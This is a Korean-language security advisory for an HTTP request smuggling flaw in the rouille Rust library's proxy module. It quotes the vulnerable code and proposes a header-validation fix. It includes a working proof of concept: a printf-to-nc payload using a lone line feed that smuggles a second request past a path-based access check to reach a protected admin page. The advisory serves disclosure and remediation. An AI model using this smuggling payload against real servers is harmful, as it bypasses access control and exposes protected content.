
Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)
지정된 CVE ID: CVE-2026-67182
rouille::proxy::proxy 및 rouille::proxy::full_proxy는 클라이언트가 제공한 요청 헤더 값을 제어 문자 검사 없이 업스트림 연결에 복사합니다. 기반이 되는 tiny_http 헤더 파서는 CRLF에서만 헤더 줄이 끝나기 때문에, 헤더 값에는 단독 라인 피드(0x0A)가 정당하게 포함될 수 있습니다. 따라서 단독 LF를 줄 종결자로 받아들이는 백엔드는 프론트엔드 요청 하나를 두 개로 읽게 됩니다.
두 번째 요청은 메서드와 경로를 포함해 전적으로 공격자가 제어하며, 첫 번째 요청을 프록시하기로 결정한 rouille 핸들러를 절대 거치지 않습니다. 이 요청의 응답 본문도 공격자에게 반환됩니다.
저장소 URL: https://github.com/tomaka/rouille
| 첫 영향 버전 | 0.3.3 (2016-12-03), src/proxy.rs가 도입된 릴리스 |
| 마지막 영향 버전 | 3.6.2 (2023-04-24), 현재 릴리스 |
| 영향 없음 | 0.3.2 및 이전 버전, 프록시 모듈이 없음 |
| 수정 버전 | 작성 시점 기준 수정 버전 없음 |
0.3.3부터 3.6.2까지의 모든 게시된 릴리스에는 수정되지 않은 코드가 포함되어 있습니다. src/proxy.rs 파일은 3.6.2 태그와 현재 master 브랜치 사이에서 바이트 단위로 동일합니다.
proxy::proxy 또는 proxy::full_proxy를 호출하는 애플리케이션만 영향을 받습니다.
CWE-113(HTTP 헤더의 CRLF 시퀀스 부적절한 중화)을 통해 도달하는 CWE-444(HTTP 요청의 일관되지 않은 해석).
CVSS 4.0 기본 점수 6.9(중간)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N
공격자는 rouille 서버에 원시 HTTP를 보낼 수 있는 원격의 인증되지 않은 클라이언트입니다. 자격 증명, 사용자 상호 작용, 구성 요소 사이의 네트워크 위치가 필요하지 않습니다.
위험에 처한 배포 환경은 백엔드 앞에서 역방향 프록시 역할을 하는 rouille 애플리케이션으로, proxy()를 호출하기 전에 보안 결정(라우팅, 인증, 권한 부여 또는 콘텐츠 필터링)을 내립니다. 이때 백엔드의 HTTP 파서는 단독 LF를 헤더 줄 종결자로 받아들입니다.
측정된 백엔드 동작:
nginx와 Apache는 테스트하지 않았습니다. RFC 9112 섹션 2.2는 수신자가 단독 LF를 줄 종결자로 인식하는 것을 허용하므로, 이를 받아들이는 백엔드는 규격 내에서 동작하는 것입니다.
rouille/src/proxy.rs, 157~174행:
157 for (header, value) in request.headers() {
158 let value = if header == "Host" {
159 if let Some(ref replace) = config.replace_host {
160 &**replace
161 } else {
162 value
163 }
164 } else {
165 value
166 };
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
171행이 취약 지점(sink)입니다. value는 신뢰할 수 없는 값이며 검증 없이 기록됩니다.
오염(taint)은 tiny_http를 통해 유입됩니다. tiny_http-0.12.0/src/client.rs의 80~102행에서는 CR 다음에 LF가 와야만 헤더 줄이 끝납니다:
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
단독 LF는 100행으로 흘러가 줄 버퍼에 푸시됩니다. LF는 유효한 ASCII이므로 AsciiString::from_ascii가 이를 받아들입니다. tiny_http-0.12.0/src/common.rs 184행의 Header::from_str은 그런 다음 값을 트림(trim)만 하는데, 앞뒤 공백은 제거하지만 내부 바이트는 그대로 둡니다:
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
그 결과 rouille 헤더 값에는 원시 \n이 포함되며, proxy.rs의 171행이 이를 업스트림 요청에 직접 기록합니다.
173행의 Connection: close는 피해를 억제하지 못합니다. 주입된 빈 줄은 173행이 실행되기 전에 첫 번째 요청을 끝내므로, 해당 헤더는 스머글된 요청에 흡수됩니다. 첫 번째 요청에는 Connection 헤더가 없어 HTTP/1.1 keep-alive가 기본값이 되며, 이것이 바로 백엔드가 계속해서 두 번째 요청을 처리할 수 있게 하는 요소입니다.
1단계. 백엔드 문서 루트에 공개 파일과 프록시가 보호해야 할 파일을 만듭니다.
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE" > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
2단계. 8001 포트에서 keep-alive 백엔드를 시작합니다.
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, f, *a):
sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'
3단계. 8000 포트에서 rouille 프론트엔드를 시작합니다. /public/을 프록시하고 그 외의 모든 요청을 거부합니다.
use rouille::{proxy, Response};
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
if !request.url().starts_with("/public/") {
return Response::text("forbidden").with_status_code(403);
}
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
4단계. 접근 제어가 동작하는지 확인합니다.
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
HTTP/1.1 403 Forbidden
5단계. 허용된 경로에 대해 헤더 값 안에 단독 LF가 포함된 단일 요청을 보냅니다. 아래 명령에서 \n은 단독 라인 피드이고 \r\n은 CRLF입니다. 이 차이가 공격의 전부이므로 편집기가 이를 정규화하지 않도록 주의하세요.
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
결과. 백엔드 로그에는 두 개의 요청이 표시되며, 두 번째 요청은 4단계에서 프론트엔드가 거부한 경로입니다:
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -
공격자는 보호된 콘텐츠도 받습니다. src/proxy.rs 224행이 업스트림 소켓의 나머지를 응답 본문으로 만들기 때문입니다:
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked
d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18
SECRET ADMIN PAGE
인증되지 않은 클라이언트는 백엔드에 임의의 요청을 보내고 그 응답을 읽을 수 있는 반면, rouille 핸들러는 허용된 요청만 보게 됩니다. 이로 인해 경로 기반 접근 제어, 핸들러에서 수행되는 인증, proxy() 호출 전에 이루어지는 모든 요청 검사가 무력화됩니다.
언급할 가치가 있는 두 가지 한계가 있습니다. proxy()는 요청마다 새 TCP 연결을 열고 풀링하지 않으므로, 고전적인 스머글링과 관련된 사용자 간 요청 큐 오염(cross-user request-queue poisoning)을 일으키지 않습니다. 또한 이 공격은 위에서 측정한 것처럼 LF를 허용하는 백엔드가 필요합니다.
제어 문자를 포함하는 헤더 이름과 값을 업스트림에 기록하기 전에 거부하십시오. src/proxy.rs의 157행 루프 안에서:
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
|| value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
return Err(ProxyError::HttpParseError);
}
| 백엔드 | 테스트한 버전 | 주입된 LF 허용 여부 |
|---|
Go net/http | go1.26.4 | 예, 스머글된 요청에 응답함 |
Python http.server (protocol_version = "HTTP/1.1") | CPython 3.13 | 예, 스머글된 요청에 응답함 |
| Node.js | v26.3.0 | 아니요, 400 반환(llhttp strict 모드) |
| PHP 내장 서버 | 8.5.8 | 아니요, 연결을 끊음 |